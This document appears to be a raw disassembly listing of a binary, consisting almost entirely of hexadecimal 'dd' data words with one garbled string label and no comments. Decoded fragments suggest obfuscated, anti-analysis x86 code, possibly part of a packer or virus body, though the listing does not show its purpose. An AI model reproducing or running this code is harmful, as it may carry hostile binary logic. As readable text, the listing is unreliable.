		dd 0B4D94EDFh, 525DF728h, 5AD18B66h, 26A1BD83h,	75000935h
		dd 79BD8309h, 93530h, 53501974h, 0EB8C08Bh, 89000004h
		dd 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h,	353079BDh
		dd 17740009h, 0EB85350h, 89000004h, 352AC185h, 279D8D09h
		dd 0FF0937B1h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0ED78C356h,	0C46CB9C5h
		dd 2800F60h, 51000000h,	66FBBE5Fh, 6A616DA4h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 540EC353h, 0CE8B6653h, 10E959h, 9E8F0000h, 0B256CB8Ah
		dd 87D7C663h, 0C788571Fh, 0C08BBA8Fh, 83F6BF0Fh, 352365BDh
		dd 840F0009h, 2Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 14C35343h, 3800Fh, 8B660000h,	27DE9D0h
		dd 0BF0F0000h, 0E9DF8CF7h, 11h,	57D0EB61h, 4E5F00D3h, 24027A59h
		dd 18DDD3C2h, 0C7F76600h, 850F0004h, 257h, 10E960h, 5D260000h
		dd 53225E3Ch, 0DF6AC66Ch, 0A31E6446h, 0BF612F2Bh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F9C35141h
		dd 0DD052BC1h, 0B4AFED2Ah, 11E9D6h, 0D5B90000h,	0FF861363h
		dd 8C7EEA76h, 0BD402976h, 8D37C50Bh, 383BFB9Dh,	10E909h
		dd 0EA470000h, 0F5162D95h, 0D97C35A6h, 6C47ADDAh, 0E950BEBAh
		dd 8, 4B4529B5h, 0B5A1C70Ah, 0F241C89h,	489h, 0F7BE6600h
		dd 35FF645Ch, 0
aFbscsdi	db 'f│АГИd┴%',0
		align 4
		dd 10E9h, 0BCE88900h, 8DEFED6Ah, 718F643Dh, 5E6C2BA2h
		dd 0BAC48B92h, 60E9E6D8h, 0EB01CDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0ADC35545h,	0ABCBBABCh, 6A57D0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 324C73C3h, 0EC8B5FA3h, 0C5804288h, 58F64D0h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0F5C35545h
		dd 0C4831FF4h, 13E904h,	17F0000h, 7CA423BFh, 3DC2B63Eh
		dd 0E778DD73h, 27168F73h, 22C9803Bh, 840FC00Bh,	103h, 11E8D78Bh
		dd 0AF000000h, 0B4D3CB5Dh, 0D1DAB56Ah, 0D074B97Dh, 0CCD0BAA6h
		dd 830Fh, 615E0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0B7C35646h, 52503BC5h, 98DE8050h, 0D18B5A5Eh
		dd 7099BD8Dh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 685D3AC3h, 0BAF8AF61h, 1B3F31D9h
		dd 1B8h, 6E95000h, 5D000000h, 294F1B4Dh, 0E7FF5E3Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7AC35242h, 27C1DD12h
		dd 5C8B577Ch, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h
		dd 0B88383h, 5F020000h,	0E9C3C033h, 0Bh, 3C40226Dh, 0F28597D3h
		dd 6A92F9D8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0F6D3C351h, 9C1B5C34h,	8166A55Bh
		dd 6171FAE2h, 0DE8h, 1A829200h,	6179D872h, 71EACB4Eh, 0CA8097B7h
		dd 0C08B597Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	1AC35343h, 6EB1C43Eh, 26A1BD83h, 75000935h, 79BD8309h
		dd 93530h, 53501974h, 0EB8C08Bh, 89000004h, 352CA985h
		dd 9F9D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh,	17740009h
		dd 0EB85350h, 89000004h, 352CA985h, 409D8D09h, 0FF0937B1h
		dd 60585BD3h, 0A8C2FFBEh, 6A6170h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0C08B33C3h, 18EBC28Bh
		dd 9B46F317h, 5	dup(0)
		dd 20BE9h, 5C8B6000h, 0E82424h,	5D000000h, 3D29ED81h, 0C2610938h
		dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 0FFFFFFh, 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 383D61B5h,	0E68109h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	383D65B5h
		dd 0E9860F09h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 9351C69h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 3525B595h, 10F5009h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 9351C69h
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	1C69858Bh, 18860935h
		dd 850FDB0Ah, 0FFFFFFF6h, 2EC985C7h, 935h, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 352EC985h, 10009h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
		dd 29840F04h, 0C7000000h, 383D0685h, 109h, 10F5000h, 8FFE244Ch
		dd 383D0A85h, 2858D09h,	8D09383Dh, 383D0ABDh, 0E9388909h
		dd 23h,	29E9858Dh, 408B0935h, 0F3170538h, 85899B46h, 9383D02h
		dd 29E9858Dh, 408B0935h, 685893Ch, 8D09383Dh, 383D1F85h
		dd 0B5858909h, 0E9093525h, 87h,	60D48B52h, 8B08728Bh, 0B2B80C7Ah
		dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh
		dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh
		dd 7, 6280630h,	3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah
		dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah,	0AC000000h
		dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh
		dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 383F9285h,	5D858909h
		dd 8D09350Bh, 383FBA85h, 9D858909h, 8D09352Ah, 383FE285h
		dd 4D858909h, 0E809350Ch, 14h, 48486A09h, 8478E4B6h, 7797A5AFh
		dd 4EFD9285h, 94028A0Fh, 7AF18166h, 81F95BFEh, 6CB8C3h
		dd 68F18B00h, 0
		dd 2870Fh, 50B20000h, 0DA81575Fh, 6DACECEFh, 1F34FF5Ah
		dd 58D3B70Fh, 11E9h, 56948300h,	819D1575h, 43C30A7Fh, 212C4C95h
		dd 0C08162E2h, 0BDB5060h, 0C081F78Bh, 728D85DCh, 0E38ABE66h
		dd 0FCB1C081h, 0F08B4FABh, 813B0489h, 373388C9h, 0F3BF0F13h
		dd 8104EF83h, 95937BEEh, 0E0FF8138h, 0FFFFF93h,	0FFFFA885h
		dd 6E9FFh, 419B0000h, 0A106BB24h, 8EBh,	0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 9351C19h, 6E61858Dh,	88B0938h, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 40E48D89h, 0BD830938h, 93523CDh,	0F840F00h
		dd 60000000h, 95FF006Ah, 9350829h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 0E085895Ah,	8B093840h
		dd 3840E4B5h, 10CEC109h, 2728966h, 40E4B58Bh, 89660938h
		dd 8B61FC72h, 3840E085h, 958DC309h, 93508A1h, 1C699589h
		dd 95890935h, 93526ADh,	26AD85FFh, 85C60935h, 935179Dh
		dd 48D86853h, 0B5FFFCB1h, 9350EC9h, 3898858Dh, 0D0FF0935h
		dd 8298589h, 858D0935h,	9383D39h, 1EA18589h, 0EB0935h
		dd 5CEE9h, 5C2E900h, 8F680000h,	0E9093842h, 0FFFD3D14h
		dd 3843A668h, 3D0AE909h, 2968FFFDh, 0E9093844h,	0FFFD3D00h
		dd 3844CC68h, 3CF6E909h, 0E968FFFDh, 0E9093845h, 0FFFD3CECh
		dd 0C1DAFF5Dh, 0E6B7223Fh, 0BBE0FD72h, 0EFAC2D45h, 0B4E9F069h
		dd 61F892E7h, 0C65D2378h, 1816CAD3h, 0C25E227Bh, 0ACE0C8D5h
		dd 0FE00CCF6h, 0B31BC812h, 809C1509h, 761DD917h, 3641A52Bh
		dd 4213B91Ch, 9E271C36h, 0B61C3641h, 1C364210h,	3641A124h
		dd 4211B71Ch, 9D289C36h, 0ACDB09C5h, 10950350h,	0A2BC3E8Eh
		dd 0E279935h, 1AE4688Bh, 0DA5E9502h, 0A5BB3D1Ah, 0AD15B938h
		dd 65FD57CAh, 6F02F2F7h, 45073E24h, 4977E862h, 0D927C9D0h
		dd 15975A47h, 4AADF3DBh, 0BE8BCD8Bh, 0DBEBCC18h, 6FF2699Fh
		dd 44287h, 3D9AB800h, 1C859860h, 7B66F97Fh, 0D1C65E22h
		dd 7C1D14CCh, 0A367141Fh, 0CA8E0F8Ah, 0A1574451h, 0D789128Fh
		dd 6B5D3E5Bh, 0FF377D23h, 0A23312FDh, 0AE2B4721h, 0D0DF9F43h
		dd 44761B7Fh, 42851BDBh, 2F1C35B3h, 0A1E1E6CEh,	511B07D4h
		dd 0B832C26Eh, 9E623BA4h, 6ADE1582h, 7960F9F6h,	0BF0C7C77h
		dd 53CEF0D5h, 0CD29AB46h, 0D9C2DF53h, 50A994F9h, 3A9D389h
		dd 15B40000h, 896875EBh, 0E17DEF07h, 312AD4F8h,	2BCB4DA4h
		dd 41B114A4h, 14911C36h, 0C0D95520h, 0F599F5DBh, 0F60DD38Dh
		dd 9A5A82EDh, 3576BE04h, 0BD34BA1Ch, 0E4DA6919h, 0E97B7C25h
		dd 9D930Dh, 9D3A32CCh, 4522D256h, 0B5C25F61h, 35AAC5EFh
		dd 0D11FC11Ch, 0E4569E22h, 0D7C25F48h, 7656981Ch, 0AA268C52h
		dd 7C221C35h, 0AB55F978h, 4ACE25B0h, 0D69217AAh, 821F13C5h
		dd 7366FD6Fh, 0AA349A2Ah, 0CF641C35h, 99C27CAh,	0ED837D51h
		dd 777F01F0h, 0B5DA0DD3h, 0C8CE1502h, 0D474F11Ch, 1D05ACF2h
		dd 32Bh, 8516B3A1h, 5A435ED3h, 8F0C89A6h, 534851C9h, 9805948Dh
		dd 51CEE9Bh, 0DA510794h, 41ADEBFh, 0DE520697h, 98F4DCC1h
		dd 0FDFEC00Ah, 0A427B412h, 0A0BE2B47h, 0B23CC033h, 4851CD3Fh
		dd 993C37A9h, 4CB24D35h, 0D24B8D5h, 0CE3014E9h,	621C3547h
		dd 1C35575Ch, 0EF02978Ch, 35575F61h, 7B23761Ch,	78FCF7E2h
		dd 6C325676h, 1C355746h, 0B4589C42h, 25BF7EEh, 0FBEBED15h
		dd 0F2D4CAC8h, 0A8644ED5h, 1E000002h, 5206973Ch, 27D9C2DFh
		dd 48108D08h, 22D6C7D0h, 60D8E0Bh, 0FD9C9575h, 5643D8A0h
		dd 9D9345h, 5049E59Bh, 7B29654Bh, 12FDFD51h, 47339845h
		dd 9F43AE2Bh, 9D9E2DFh,	20D4525Bh, 0A925B2AEh, 30F5BFE5h
		dd 0EFF11C36h, 0CB188807h, 0A5322ED9h, 0FB9E9729h, 0E12C1EFBh
		dd 8689500Ah, 223h, 41A52B45h, 5BD51C36h, 859B5D3Eh, 0C967D918h
		dd 66B725CCh, 8958B7Eh,	0F96E9F93h, 4FF9894Fh, 0DA000000h
		dd 0BC39B2Eh, 0B7223DBFh, 0A63CB83Ch, 15036597h, 0AEEBFB9Dh
		dd 0EFF2D400h, 2055A44h, 0D97B0000h, 44D99FFCh,	0A7B8405Dh
		dd 879F613Ah, 5ED78912h, 2059623Bh, 0B5E6F36Ah,	0F0AD2843h
		dd 0B4E9F668h, 0F6A7302Ch, 5E647A52h, 5A12FDFDh, 0B7178A49h
		dd 6D74E913h, 5CF20286h, 1C36415Eh, 2B9D545Ah, 1AA5B835h
		dd 36413E84h, 3AB43A1Ch, 0E2BB35B7h, 5E95021Eh,	0A82D46B8h
		dd 41347E24h, 0AE301C36h, 32F6BB46h, 5C79F769h,	0C1D64E70h
		dd 7146AE32h, 8B6673EFh, 3E5BD5E7h, 54CF31B3h, 0C62EB241h
		dd 0E1BADF54h, 0BB019FEFh, 0AF1C3641h, 242901FBh, 0EC0283A1h
		dd 19C9305h, 25E7CB9Ch,	0F5BFE5A9h, 0FB1C3626h,	3626DFE5h
		dd 0EFD5DB1Ch, 12860DE9h, 491B801Dh, 1C362687h,	319B4985h
		dd 251C3626h, 0D5E07383h, 4813D1FDh, 3C150351h,	9588329Ah
		dd 54C98F0Ch, 974D814Dh, 13010C2Dh, 1169EA27h, 9230FCCFh
		dd 0EA65B40Ch, 693614B0h, 9C92068Dh, 362DCFFFh,	28CC50A3h
		dd 993C37A9h, 5C49E65Ah, 0D71AD4C5h, 2DA1794Ch,	0CDBEF877h
		dd 0EAFA9C0Bh, 0E99F61E5h, 0E89179F8h, 5E000000h, 12C6D7FCh
		dd 6719821Fh, 8D0CDC8h,	62168710h, 0C6CDCECBh, 3D5CD5B5h
		dd 16839860h, 405DD385h, 1089A55Bh, 0BBE9A58Bh,	12FDFD11h
		dd 47F3D805h, 9F43AE2Bh, 0F69021Dh, 0F54F3251h,	0AFC03EB0h
		dd 0B93DBF32h, 10802B47h, 426B5FB5h, 0EECEFEF0h, 19716B1Ah
		dd 0CF4EA68Bh, 1BD6C35Dh, 0C72AB7A9h, 0ED988CD9h, 7C866871h
		dd 0DE52250Fh, 7BF30DC1h, 0B111935Eh, 643F8610h, 6C41B5FCh
		dd 505C87C6h, 3DE089h, 15AF0000h, 41A12BB9h, 0F1951C36h
		dd 364209B3h, 15DBFD1Ch, 8A6974EBh, 5D60EE06h, 5D1C3641h
		dd 41497331h, 9B3D1C36h, 644DE15Bh, 7628CBCCh, 0F2F6BFA3h
		dd 57995740h, 0B1C46h, 2B6D0000h, 1C3641A5h, 5B4059D5h
		dd 9B91578h, 3E24FADDh,	773DA720h, 731C360Eh, 9CA7896Dh
		dd 2ABh, 47721100h, 0CF41B015h,	39AB4653h, 0C537BA27h
		dd 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh
		dd 5D2AC9D0h, 81E18951h, 4C1h, 4E98300h, 8B240C87h, 0FD682424h
		dd 89000039h, 0AB68240Ch, 89000076h, 68502404h,	2DBA19E5h
		dd 580F3558h, 0C1892482h, 8124048Bh, 4C4h, 48B5400h, 4C48324h
		dd 79BF5751h, 297A8D28h, 5F04247Ch, 8108408Fh, 28790840h
		dd 48B7A8Dh, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 2434FF5Ch, 4C48359h,	0FD376BE9h, 0CD3A93FFh,	189EED73h
		dd 0F259960Bh, 0EE434644h, 3846F6B8h, 8BC50309h, 20EBD1h
		dd 7 dup(0)
		dd 0E9000000h, 50Eh, 502E9h, 495C6800h,	1DE90938h, 68FFFD37h
		dd 93849D7h, 0FD3713E9h, 4B6468FFh, 9E90938h, 68FFFD37h
		dd 9384BC3h, 0FD36FFE9h, 0E5C270FFh, 0B42D40B8h, 0E3FE71E7h
		dd 0A92E46BAh, 0E4F56CF4h, 0FB8FFCB7h, 0B2267762h, 0F97F1CB9h
		dd 5F217A67h, 0E3C5D6C3h, 0FACFF5ABh, 1ACB12FDh, 0AD2847B9h
		dd 4210B646h, 54D19C36h, 0FB266760h, 3F41094Fh,	8D000000h
		dd 0E5DDF873h, 759E885Bh, 6B12E2C6h, 29F8AD15h,	13CDA64Fh
		dd 0BB6A4DE3h, 36811C35h, 2D306E5Eh, 0E3150D7Fh, 77EF11BDh
		dd 0CDB59262h, 3Ch, 0A50FD5F9h,	0A112FD80h, 6B85100Fh
		dd 0A52BE48Bh, 0A31C3641h, 4213B9E7h, 0D3111C36h, 1C3641E9h
		dd 0E709BBDDh, 5931840Fh, 5282F75h, 0BADC150Eh,	3A1EDE1h
		dd 12FDFAB9h, 24CB2BADh, 46AD2847h, 0C9BDE1B6h,	0C7D24F63h
		dd 9A0B82Ch, 6FD266AFh,	0D31ED0D9h, 0E98C78E5h,	572212F3h
		dd 0FFE0BDD8h, 6B76E9ABh, 0E2EA0488h, 0BADF679Ah, 0DA1AF4B5h
		dd 0B64E702Eh, 9C429C36h, 524FE355h, 4ED807Ah, 846F68h
		dd 418103EEh, 5158A119h, 5D3ABA9Ah, 6F5F3782h, 0FD3F851Bh
		dd 0B53B9C36h, 0B8079D41h, 0BC950419h, 0C8D6B21Ah, 0A56BEA02h
		dd 7D04F0F6h, 6BE9C9EFh, 7762F9A5h, 8710087Ch, 0FF2ABA6Ch
		dd 4697C979h, 0D4E5CF3Ch, 7E1854BDh, 7021CFBEh,	96031C9Eh
		dd 2A23115Eh, 1ADDE3h, 0A7B94387h, 6922A83Ah, 9016A56Bh
		dd 56B564h, 2E160000h, 0D50BC39Bh, 150E02D6h, 8E309C42h
		dd 0E0980592h, 0CD93534Ch, 10F2D71Bh, 2ACA991h,	49EB0000h
		dd 0B4A92F6Ch, 77E8702Dh, 0B7AF316Ah, 6E077922h, 1069326Bh
		dd 0A5F6E37Ah, 9D3833h,	0A4F9E678h, 465740DCh, 4E742A62h
		dd 4A12FDF8h, 77D13A99h, 2000002h, 46AD2847h, 364210B6h
		dd 4222241Ch, 8D361C36h, 0A71C3641h, 1C364121h,	36419335h
		dd 4121A71Ch, 6D38DC36h, 978B19B5h, 5F5501B3h, 9A2DBA39h
		dd 31D40AC2h, 0A74BCB70h, 0AD11E501h, 25CCA9A1h, 2313Dh
		dd 0E5C27000h, 0B42D40B8h, 0E3FE71E7h, 0A92E46BAh, 0E4F56CF4h
		dd 0FB8FFCB7h, 0B2267762h, 0F97F1CB9h, 5F217A67h, 0E3C5D6C3h
		dd 0F8CFF5ABh, 1ACB12FDh, 0AE2B47B9h, 35EDB843h, 5400B99h
		dd 0B234150Eh, 0DDF877E9h, 0BA2738C0h, 4119AC37h, 0BDF4578Dh
		dd 0BEE00BD5h, 41B9FFDDh, 0C5D01C36h, 0F30DC10Dh, 8965E7Bh
		dd 150E054Dh, 0F8718B33h, 0FAB903E1h, 2BAD12FDh, 1FC509C5h
		dd 12FDFA95h, 21BF0F91h, 12FDFA9Bh, 41ED098Fh, 0CE14A3BFh
		dd 12FDFAE4h, 6B30BEE0h, 916079F5h, 0FDFAAD03h,	0D7D1E412h
		dd 0FDFB03C9h, 0D9E30112h, 0CD12FDFAh, 0F9F7F9CBh, 6807F9D5h
		dd 48FB896Dh, 2C0BD5BEh, 546622AAh, 0C436BEDBh,	0EA6E2FA8h
		dd 0E48A6976h, 41D0FAA8h, 22C41C36h, 416A3CD2h,	16A11C36h
		dd 0F1508E3Eh, 0F1150E04h, 956D3A91h, 74809D07h, 0AB418BEh
		dd 89458916h, 0FDBC715Bh, 0B3436512h, 910E22D6h, 0AC2D562h
		dd 1CC206C2h, 12FDBC96h, 5AE80C92h, 0BD58013h, 660CE709h
		dd 51CEDB54h, 0C52BAD44h, 7F1DA331h, 87DE1C35h,	0BB91BC9Dh
		dd 0CD68950h, 0B5000000h, 365EA52Bh, 75F1Ch, 2BB00000h
		dd 1C3657A5h, 0D39B2EA8h, 21AD435Eh, 0E04B883h,	0A22AAC15h
		dd 559C0518h, 2BC6CCA5h, 0DC1255A1h, 0BB0E9918h, 5AD1EBE3h
		dd 0B713B73Fh, 45F4F607h, 4FA7A43Eh, 0CAA852C1h, 160EB00Bh
		dd 6EE7281h, 768E5658h,	27E9AC95h, 0A4927Ch, 71E30000h
		dd 9C914754h, 4FE09805h, 9F974952h, 46DFA1FAh, 38514A53h
		dd 0DDBEDB52h, 895001Bh, 0DCC1DE50h, 0E8F0824h,	862C721Ah
		dd 8212FDF6h, 9B2E7251h, 78F10BC3h, 0BBE99561h,	150E0590h
		dd 0E5F26C8Eh, 0B46A8A0Eh, 6134BF32h, 147F25A9h, 0D00BCB27h
		dd 45E416CEh, 3AB9E9ACh, 4550h,	0F1D68400h, 0A03934ACh
		dd 0EFEA85FBh, 0A5322AAEh, 0F0E980F8h, 0EF9BF0ABh, 0C63A6376h
		dd 0ED7328ADh, 0C3356673h, 0C76932AFh, 0F6F3D907h, 0B6E712FDh
		dd 10D115h, 0D1FD0000h,	3641A913h, 5742D91Ch, 0E48B6B6Dh
		dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh,	0DD54C82Bh
		dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 505D2AC9h
		dd 405E089h, 83000000h,	48704E8h, 14895C24h, 3A256824h
		dd 34890000h, 4DFE6824h, 14890000h, 271BBE24h, 0EE8163B4h
		dd 67A65109h, 57D6F746h, 0E770F4BFh, 5FFE2109h,	6733F681h
		dd 8B5408DAh, 0C4812414h, 4, 8BB53h, 0D3010000h, 1C8B3389h
		dd 4C48324h, 5A2434FFh,	8B04C483h, 89522434h, 4C281E2h
		dd 83000000h, 148704C2h, 31E95C24h, 0A4FFFD32h,	0E8C68A9Bh
		dd 411F2133h, 0B8396540h, 9384C2Dh, 0C88BC503h,	51E9h
		dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h
		dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h
		dd 158F0Fh, 0EA830000h,	0C428B28h, 2B144A8Bh, 89F82BC1h
		dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h,	0FFE9E9FFh
		dd 3EBAFFFFh, 0E80009FDh, 0Ch, 58B449B6h, 31165E8h, 0AA18874Ah
		dd 68B0Fh, 0DA810000h, 209D0AD8h, 7DC7815Fh, 51000064h
		dd 0B95ED38Bh, 70013567h, 2C64F181h, 78B7001h, 928FE881h
		dd 0BB664889h, 0C081B765h, 21756FE9h, 7521E881h, 0D3816FB9h
		dd 33D7FCEDh, 81660789h, 83D8FFC6h, 4F4F01EFh, 0F281664Fh
		dd 0F49E412h, 0FFFFC985h, 0BE9FFh, 1C350000h, 0E3FF9922h
		dd 76303233h, 0D9E9F5h,	1D200000h, 0C12C0FBEh, 0CFDF2F82h
		dd 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh, 94A4D676h
		dd 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0B8009CACh, 64F7F691h
		dd 549382CDh, 58000000h, 5C000000h, 94000000h, 5000000h
		dd 1000000h, 28000000h,	200000Ah, 20h dup(0)
		dd 0B000000h, 0E93C5190h, 1F3Ah, 3850A368h, 305AE909h
		dd 6868FFFDh, 0E9093851h, 0FFFD3050h, 3851FA68h, 3046E909h
		dd 0C868FFFDh, 0E9093852h, 0FFFD303Ch, 3853A368h, 3032E909h
		dd 8368FFFDh, 0E9093854h, 0FFFD3028h, 38557C68h, 301EE909h
		dd 2F68FFFDh, 0E9093856h, 0FFFD3014h, 3859C768h, 300AE909h
		dd 6368FFFDh, 0E909385Ah, 0FFFD3000h, 385B9968h, 2FF6E909h
		dd 8968FFFDh, 0E909385Eh, 0FFFD2FECh, 3861A468h, 2FE2E909h
		dd 0F768FFFDh, 0E9093864h, 0FFFD2FD8h, 38665E68h, 2FCEE909h
		dd 0C868FFFDh, 0E9093866h, 0FFFD2FC4h, 38672668h, 2FBAE909h
		dd 8268FFFDh, 0E9093867h, 0FFFD2FB0h, 3868A568h, 2FA6E909h
		dd 568FFFDh, 0E909386Ah, 0FFFD2F9Ch, 386B1568h,	2F92E909h
		dd 5103FFFDh, 0BCB12774h, 6F007825h, 0BFB72972h, 66FF811Ah
		dd 18712A73h, 0BDDEFB72h, 0E8B5203Bh, 0BCE1FE70h, 0EEAF2844h
		dd 664C923Ah, 6212FDF2h, 2B479231h, 1D9F43AEh, 0E9639306h
		dd 2C606C75h, 36414C76h, 4EA6481Ch, 3DBEE79h, 645215CBh
		dd 70501503h, 2BB92E62h, 130121A1h, 0F0AF1395h,	0F7AD4991h
		dd 305C02F1h, 0C44872h,	5A9A3C13h, 0C502C4h, 7262C313h
		dd 857AF459h, 0EC847692h, 708408EBh, 4AC9h, 9B2E0A00h
		dd 41B903A1h, 2BAD1C36h, 0E2CCBB97h, 2CC2CB5Dh,	0DA1302A0h
		dd 0A5E91502h, 99B5FFh,	932FB113h, 0D935E5DEh, 0CC02E33h
		dd 955C79F2h, 0CC5CE313h, 130066EAh, 40D9E3ABh,	5C489D59h
		dd 85D5527Bh, 0D91592h,	47760000h, 0D143AE2Bh, 3EB24158h
		dd 6919B522h, 8AF5CCCAh, 88150B1Fh, 9D0F8E66h, 0E937EA81h
		dd 0D823578Ah, 4EB78516h, 21C358Ah, 0B42C716Eh,	47D41FB8h
		dd 565C827Ch, 521C3589h, 1BD5C25Ch, 6C07F9D5h, 0EE068A69h
		dd 0AFF1944Ah, 0C1E71502h, 0E0B80BDCh, 27B194ECh, 918514E4h
		dd 0BD2BB965h, 0C10BCCDBh, 140DAF1Fh, 0BAB74985h, 93DDE7FDh
		dd 0D7D91C33h, 9E56DA19h, 0A39DE5C9h, 0DAE5C624h, 2138B242h
		dd 0E8912CB8h, 0A54CE9A0h, 1C69BDh, 11B6A400h, 4059D48Ch
		dd 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh, 661A8316h
		dd 0DD3C8CDh, 63158613h, 0E7C9D2CFh, 0F1D3F9A7h, 16C712FDh
		dd 0AB2E47B5h, 0BE843CF2h, 4F87F911h, 0FE72EC08h, 0C19B21BFh
		dd 98F1C35h, 2E15B6E7h,	0D50BC39Bh, 1503724Ah, 235708B8h
		dd 6E26F9A6h, 0F6D6D886h, 16A60CD2h, 0FCA21301h, 0E5EB79F8h
		dd 0A6130116h, 1974553Fh, 4E928525h, 83h, 0AE2B477Dh, 4158D143h
		dd 45D922B2h, 130F1C36h, 0CF631586h, 1941FD2h, 185F8549h
		dd 8C150364h, 0E3B6910Ah, 0D4FDA32Bh, 900BCCC4h, 253CBE0Eh
		dd 276818B4h, 0BCA8565Ah, 80F8D521h, 5FF4F0E9h,	7EE9A0F7h
		dd 1BA40BF3h, 7DDF0000h, 0A0BD4358h, 839C6439h,	5BD38516h
		dd 829B5D3Eh, 0FC8D8617h, 1982170Eh, 0D4C9CC67h, 1885120Ch
		dd 0CAD3CC60h, 0D2F8A6E6h, 0C612FDF0h, 2E47B615h, 0F26EF2ABh
		dd 1513B8E5h, 41A12BB9h, 13951C36h, 0ECF569E3h,	29F9305h
		dd 8160E999h, 306E5E36h, 15035501h, 972DF1F7h, 97831505h
		dd 1F30C3FBh, 18538B83h, 0A67E49DCh, 0CD1D7826h, 0DD035F47h
		dd 663E8916h, 90E3866h,	0ECF25875h, 5542DEE0h, 39C9048h
		dd 5A2D06E3h, 220C979Fh, 1B12h,	0D1CAEF4Dh, 1687120Fh
		dd 0CBD0CD62h, 1F7C1D15h, 0C4D9C059h, 110882F7h, 0D64D1388h
		dd 826DAC3h, 0D24E128Bh, 9CF0D8C5h, 0FDF0BC06h,	0A82BB812h
		dd 43AE2B47h, 9935EDB8h, 15E3EAE9h, 0B50071D9h,	0D298F8D2h
		dd 6805FBF5h, 0CBD98571h, 1502D544h, 0F29636B8h, 8D06ACh
		dd 0C2AE0213h, 18BB097Eh, 5D3ABA34h, 6E39A89Dh,	0FBEB2C94h
		dd 370EDA1Ah, 0C107ADh,	13DD0313h, 0D41625BBh, 7C220BCDh
		dd 5C667C50h, 581C35ABh, 62687656h, 561C35ABh, 7A48A450h
		dd 0DB8685CDh, 0C707DFEAh, 51847E19h, 841A624Dh, 4DB17B3Eh
		dd 0D44AB43Ah, 3DCA29C7h, 841AB26Ah, 467EB3BAh,	0AB418BEh
		dd 4C148916h, 381FC7D0h, 65B150E2h, 1A44D4BEh, 0DD7F0000h
		dd 40DDA3F8h, 0A3BC4459h, 7BF36536h, 0A2BB3D5Eh, 0DCAD6637h
